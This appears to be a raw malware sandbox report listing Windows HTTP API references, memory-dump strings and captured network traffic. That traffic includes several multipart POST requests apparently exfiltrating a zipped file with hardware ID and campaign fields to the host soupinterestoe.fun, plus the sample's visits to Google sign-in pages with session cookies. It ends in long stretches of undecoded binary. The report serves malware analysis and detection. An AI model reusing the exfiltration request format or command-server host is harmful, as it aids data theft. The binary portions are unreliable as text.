https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: fonts.googleapis.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/roboto/v30/KFOmCnqEu92Fr1Mu4mxM.woff HTTP/1.1Accept: */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.youtube.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/youtubesans/v23/Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF.woff HTTP/1.1Accept: */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.youtube.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc-.woff HTTP/1.1Accept: */*Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.youtube.comAccept-Encoding: gzip, deflateHost: fonts.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")5a:T1382,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005528-00000C26-79137595") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00005528-00000C26-81868208") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00005528-00000C26-81868932") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00005528-00000C26-84542335") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00005528-00000C26-84544291") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00005528-00000C26-84544291") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00005528-00000C26-84544291") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00005528-00000C26-84857820") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00005528-00000C26-84857820") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00005528-00000C26-84888422") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00005528-00000C26-84889149") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00005528-00000C26-84892130") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00005528-00000C26-84893224") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp")5b:T15eb,Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun--be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2445fea7200004b54eacd289166b7u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LGNDRY--be85de5ipdocierre1Content-Disposition: form-data; name="act"send_message--be85de5ipdocierre1Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "Content-Disposition: form-data; name=""; File: "00000000-00004104.00000003.75745.00400000.00000040.mdmp"), Found string "Content-Type: multipart/form-data; boundary=be85de5ipdocierre1"; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.00B1E000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="pid""; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="lid""; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="act""; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="file"; filename="file""; Source: "00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp"), Found string "Content-Type: multipart/form-data; boundary=%s"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp 00000000-00004104.00000002.73135.00160000.00000040.mdmp 00000000-00004104.00000002.73135.00400000.00000040.mdmp 00000000-00004104.00000003.75745.00400000.00000040.mdmp"), Found string "Content-Disposition: form-data; name=""; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp")5c:Td96,Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp")5d:Ta6bb,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:s0uZmcxEBlY1gfZjh3xoWzhbFaCfkg:hNp2yXYnlbkjTIHd;Path=/;Expires=Mon, 29-Dec-2025 14:51:13 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-VYxSoJJJ7WGByHLX-igR7A' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sat, 30 Dec 2023 14:51:13 GMTExpires: Sat, 30 Dec 2023 14:51:13 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�e3�PAj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:s0uZmcxEBlY1gfZjh3xoWzhbFaCfkg:hNp2yXYnlbkjTIHdConnection: Keep-AliveAccept-Language: en-US", "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp1AtZZac-ajtZZ2efFSkWSbETdCi64ufICFl0itkusVm2AxzJ4_Qprgybelbf3yx136yhRS HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyjaConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyja; Expires=Mon 29-Dec-2025 14:51:14 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Sat 30 Dec 2023 14:51:14 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp1AtZZac-ajtZZ2efFSkWSbETdCi64ufICFl0itkusVm2AxzJ4_Qprgybelbf3yx136yhRSStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy: unsafe-nonePermissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Cross-Origin-Resource-Policy: cross-originContent-Security-Policy: script-src 'nonce-oa9eEWtfCVb2q5atOd85Qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportAccept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp0FiEoVUpoGiUpHpi2V8Xg6nzvLg_EWFQ66M7_PR4atn4S4MT73uryO2i7vX2Yv10wl07SJ0w&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1795364748%3A1703947874374404&theme=glif HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:MlgfSwAbLaqhaE5inRJc474atn8kMg:Q96DY0cipe2unyjaConnection: Keep-AliveAccept-Language: en-US", "0000000100000001�000000010000000100000001000000010000000100000001000000010000000100000001�00000001R00000001]00000001O00000001�000000010000116c}߯ ��8T�)`��6e��}=-�:h��k��ގ��M��{�ɽ95��ܷ{��u��"ߵ��{)�ge\��d*�F�T~��y+�'O�,,��B�"w�'�B>��D�eXڳ�)0��,��Ù�4]��%guͫ{E��5��)ci�+�VW*�RB�tr �|L��h��ם��s�/��q�,�ٱ��g��Wk9��fG\�Zr6!K>�D[7�A�[?ݹk��0�h��qMa�қ�h�m۪��c��"-�T�.Ӊ��[��3��_˥uy�B\�$�>Kɥ��2+T��N7 �C��>�h�� ʩP��T{ �=��}��u�", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 30 Dec 2023 14:51:14 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsReport-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-ih58oUicSJc4R8qLC8CEnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportCross-Origin-Resource-Policy: same-sitePermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010011a36��=iw�Ʋ��+��^�،!̽��:�9--Р͒��~��%��I޹��ko��d��D��)�׻�4ҙ�v:%)V#�:V:/}�C�m��H�Ǵk;;�(ݱ�]��(/�ΰ�c+]]�w`��>��j�a �,d�S��;Hwi�R��`�h)��x�g��t�tJ7t�)�rոU��X��>��(�i��1�ߟ|�tUC��j�f�]j=�Z:�K��v,�k2��(�>��M�R��_�G.}$YG��n��UJ��n�۫��" 82�+?��-�apʦ\�D��L��t9ӆ��V��P��q5�$�5��7��t<5�S0��9�G��]�Tl�a��,g|F�y5+c��^�X)햪5n�-�v��n�Ė��V�-�5��Mz�r��B=g��-�t��Q�⤣��|h�\�ܴ�;�!��ӓ>P��S��2�#�d��j��=�=��x��-��<�W��=ڂ쇏�N��P�/��ܱyssߍg�"��'2��?�^Α��R��{��Sߵ�<��P*�S3�� U⨹��G{~�c��K��cc�c�`.��&��7��=�k��'6N��,[Ĕ��u��P�ُ�"��]��eL>dM`�ݐ��Mt-ܣ:�!W��'� VX�G�7�\)��B�@��x��ɔoO��w2)�F�g�+\�h�w_/n��މ0D��BF�sG��0ř��6n�F�Y�[(r�ͳՎ��Ht��G25`�t��w��{�եry/\�X-��-cn�{��>�VO��g��&A�Mn��#�Q�l��O��G��"�\��+��*_�=j��%��n��@�O��x�H�'m�w!��kW��н�@ ��=^rח��H��չTh��^(]�Am�:��Ɣ^[ze��5A[N�K9��n�m�$ٶ�a��;��3�-�w�մ�s��[�{�2�P��/S��6o�[�oä��H��5D��{K�ҽ^�e��8|;�K�w��WG3$�ɤrA�ux��˹�T�+��J7(s-B\��a��$u2q#H�2��#��$&%,�1p6!��}��P<��P�", "�JP\@s�Ġ>��va��cU��@=чs��c�=R��[�8Vn�/�R��>t+�t��v*��v��\��C�qȱ#��m��#�K�w�2"'�Y�z?��ɿ�V��A`��,��gw�zd_l��V|�=�vz��s�>�W��a�6s�Up̤gw$��5��0*��&3�4��5��r1��~��O#�%��Q4��A��@�y�K.�O�;D�2˹�ǹh��ε=m�LT��4g?��ޤ��T4��[�[��0Km�0��}�uu��Z��~T��l��y_:�/��SMV�z�w��s�;�/hH>k[�hu�'��IJY8�[�ɱ <��o��v��h �{{W��OO�ww�ǳw��)?��QA>�x��k��oUZ�͉2��ɠ<�+\��n��\�v*ju��?�/N-1�{��c!Ҙ��Q�+�3-O9�bƃ��-�y �Mw�K��Z��Wk��g2�@':��~�(e;�":��-��7��4�rj��!;ྑ.N:D�;��׍ѿ��FE�.��:?T�<��M��Z��K��3A��g&[��h�:B�yp�7@C&�2�gPv��o��(��5v��ͺ�t�dEn�0f�Kd�`��c��x�af�YZ`zq�`1/|��y�i�6@�@�/�ڎb��D��c��L@�o7�Y8(�&U9��?��ST�A�2��¤��T��`��y50眗݌@�&6f/u�I��$ys`�2�o�� X��l]�ہ�)�Е�uw��+R��K��B�0��5�M��F��n��n��f�?m�r��(��N�ȑ �%�W��"��N\��#&7��d��;��?�xg��Hmc?�x]�H��؅��&Ed4��e�|)��|!�e�f3��6�j�;��S�a��{��rl6��AP��ǘmG�%�(X�+ކ��+��E��V��+�M��nP�`r��f_3��4��%'5�ӷ��o�0>i>�� @3v��6��&��5n�=�[�Br#EU��]T��D�]N�4l�0�B0J�:�3��l�2p%�FC��j�(��f�x�6Tp�u�<�\宕�a��]�M�q��!��cF�I's1� �St�s/��R �w֧q��z�jI6�ЃUt�{��B��~Q��3hD63I�|�蒩0{bA�L2�}�&" )�U��ހT��1�.�o��/1ag�r�:q�f��|3��e�QO�o�G��T�V��T��X0�-�έ��]?��]jmn(�#�gpA�X��s<�+L"�#f��ǲ\�Yj%yU��u�o��-4�"�\8��͝"*z�'��(63�l=��#̏(�͝Ȑ��L��V%�u�4�L�o�Q�^^�9��sn�ǯ(�-lâ8K��p��^��{5�8��d�0g��Ųl}�u�Ҝ��a�ODd㜅��?��Q^ԙgK�2�"'�m\��̃��n8�Hdٚl�1/��4��A�|1y��`\��q�U\�!�SԨ��כ��E��,��f��D��e)��j��Ȍi~Q-��¼z��Ms��S�+�L�+�m4�!��9e�d�]�U�¥��%\�qs�(��OTn��E�=��Q*z��S�E׶�X��Z�-��I6[Z��ŢC�d�ށ\�/È��$�4~��3��D�]��bI3j��gX\T��l=l��d@TUU^��,`܌��Ȱ��D��,5,r��e�}��떦�E,��E�F��(n�i]T�Ld_��!I�!��S�.�2��3�k�kٲ�X�_�Cb�>Z��:�xM�Ċ��Z͡��E�u�1<тӏ`i9��~V%�x�0��g0�A��V�!}�U4��؎"O��&D2 �4�X�ȑ"��Z�sU̱_�ܙ�ҭ�ƹƋ�?��&n+�A.��C޾�^��(ϑ/*y�p�]@�ގa$9��J��%��<>N��ې"�y4hd��&'7e�T�6A��ѱ^#��$�1ъ��ְ2�˽[}x�hAa}:��S��}�a�dz�vd0Kq��'s�4�[JW�y��4�Gpg��C�l|��Gq��", "��'�u��d��D�C��乲��ٲ�yM��Mߖ:��G��yo��^f޲0̻H��(�\�ƙlQD�P�*�M��U��뭁�`R*�(�r��m��%4�I:��+��Y��4G�f��&>�X��w֮9��[�b8:�X��%aЛ(]�B��l�y9ڨ�>*A\��ϳ+��e�jaDQ1��)�{�P)�15v2��l�t�� 